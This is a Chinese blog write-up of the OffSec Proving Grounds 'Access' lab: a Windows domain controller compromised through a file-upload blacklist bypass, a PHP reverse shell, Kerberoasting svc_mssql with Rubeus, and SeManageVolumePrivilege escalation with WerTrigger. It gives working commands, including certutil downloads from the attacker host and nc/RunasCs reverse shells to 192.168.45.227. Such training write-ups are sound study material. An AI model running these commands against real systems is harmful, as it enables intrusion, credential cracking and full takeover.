OSCP Access Write-wp

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Access

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

HTTP 80 文件上传(黑名单绕过) –> 系统 svc_apache 用户权限 –> 本地 kerberoast 攻击 –> 系统 svc_mssql 用户权限 –> 用户旗帜

权限提升:

SeManageVolumePrivilege 本地提权 –> 系统 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sudo nmap -p- 192.168.185.187 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49679/tcp open unknown
49701/tcp open unknown
49780/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
sudo nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49674,49679,49701,49780 -sCV 192.168.185.187

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Access The Event
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-22 07:19:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49780/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 域环境,开放有 HTTP、WINRM 和 Windows 的一些默认端口,域控域名:access.offsec ,域控KDC: server.access.offsec

3.2 渗透测试突破边界

3.2.1 文件上传漏洞

在 kali 添加靶机域控域名、KDC 解析:

1
echo "192.168.185.187\tserver.access.offsec access.offsec" | sudo tee -a /etc/hosts

枚举靶机 SMB 和 LDAP 服务未发现有价值信息,访问靶机 HTTP 80,在购买门票处发现文件上传接口。

上传测试文件得知系统使用了 php 语言。

当测试 php 脚本上传时会提示文件后缀不允许,测试一些普通文件则可正常上传,怀疑使用了黑名单过滤。

靶机使用了 Apache 中间件,可尝试上传 .htaccess 文件,通过自定义文件后缀,绕过黑名单执行 php 代码。由于靶机为 Windows 系统,我们也尝试使用 Windows 文件流绕过黑名单。

reverse shell:

1
https://www.revshells.com/

.htaccess 文件绕过:

1
2
# .htaccess
AddType application/x-httpd-php .123

上传 .htaccess 文件,然后复制 php reverse shell,保存为 shell.123,再次上传 shell.123,访问 shell.123 等价于访问 shell.php。

::$DATA 文件流绕过:

复制 php reverse shell,保存为 shell.png,使用 burp 拦截上传数据包,然后修改数据包文件后缀,也可成功上传。

此时我们还不知道文件上传后的具体目录,通过目录枚举可发现 uplaods 目录,并在该目录发现了我们上传的反弹 shell。

在 kali 使用 nc 监听 80 端口,访问上传后的 shell.123 或 shell.php,均可得到靶机 svc_apache 用户 shell。

1
rlwrap nc -lvnp 80

svc_apache 桌面没有用户旗帜,大概率需要先提权至 svc_mssql 用户。

3.2.2 Windows 本地 kerberoast 攻击

在靶机本地执行 winpeas、SharpHound 均未发现通往高价值目标的攻击路径。系统除了默认的 krbtgt SPN 还存在 svc_mssql SPN,可尝试执行 kerberoast 攻击,由于不知道 svc_apache 用户密码,因此,只能在反弹 shell 中获取 svc_mssql TGS 票据。

参考链接:

1
https://book.hacktricks.wiki/zh/windows-hardening/active-directory-methodology/kerberoast.html#windows

利用 PowerView 或 Rubeus 均可得到 svc_mssql 用户 TGS,接下来用 Rubeus 工具演示。

可以通过 kali 下载该工具也可通过 SharpCollection 工具集获得。

1
2
sudo apt install rubeus
https://github.com/Flangvik/SharpCollection

上传工具至靶机。

1
certutil -urlcache -split -f http://192.168.45.227/Rubeus.exe

获取 svc_mssql 用户 TGS。

1
2
Rubeus.exe kerberoast /stat
Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast

复制输出的文件内容交给 hashcat 破解,得到 svc_mssql 用户明文密码。

1
hashcat hash ~/Desktop/rockyou.txt

使用 runascs 获取 svc_mssql 用户 shell。

1
2
3
https://github.com/antonioCoco/RunasCs
certutil -urlcache -split -f http://192.168.45.227/RunasCs.exe
RunasCs.exe svc_mssql trustno1 whoami

1
2
3
4
5
# kali
rlwrap nc -lvnp 80

# shell
RunasCs.exe svc_mssql trustno1 cmd.exe -r 192.168.45.227:80

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 SeManageVolumePrivilege 特权本地提权获取系统 system

svc_mssql 用户 SeManageVolumePrivilege 特权引起了我们注意,虽然它是禁用状态,搜索引擎检索发现该特权历史存在本地提权漏洞。

参考链接:

1
2
https://hackfa.st/Offensive-Security/Windows-Environment/Privilege-Escalation/Token-Impersonation/SeManageVolumePrivilege/
https://github.com/CsEnox/SeManageVolumeExploit

链接中共提供两种攻击方式,对于该靶机执行第二种攻击方式可获得系统 system 权限。

步骤一: 下载提权需要用到的可执行程序。

1
2
3
4
5
6
# kali
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/WerTrigger.exe
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/phoneinfo.dll
wget https://raw.githubusercontent.com/sailay1996/WerTrigger/master/bin/Report.wer
cp /usr/share/windows-resources/binaries/nc.exe .

步骤二: 为了方便文件传输,可以在 kali 开启 SMB 共享,然后在靶机连接 kali 共享服务拷贝文件。

1
impacket-smbserver share ./ -smb2support -username kali -password kali

步骤三: 上传可执行程序至靶机。

1
2
net use \\192.168.45.227\share /user:kali kali
copy \\192.168.45.227\share\* .\

步骤四: 执行 SeManageVolumeExploit.exe,获取 C:\Windwow 完全控制权。

执行前目录权限

执行后目录权限

步骤五: 将 phoneinfo.dll 复制到 C:\Windows\System32 ,其余放置同一个目录,然后在 kali 使用 nc 监听 80。

1
2
copy phoneinfo.dll C:\Windows\system32
rlwrap nc -lvnp 80

步骤六: 在靶机执行 WerTrigger.exe,注意: 命令不会有提示,直接在下方通过 nc 执行反弹 shell 即可得到系统 system 权限。

1
2
WerTrigger.exe
C:\Users\svc_mssql\Desktop\nc.exe 192.168.45.227 80 -e cmd.exe

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Access Write-wp
https://www.f0nesec.top/2025/09/23/oscp-access/
作者
F0ne
发布于
2025年9月23日
许可协议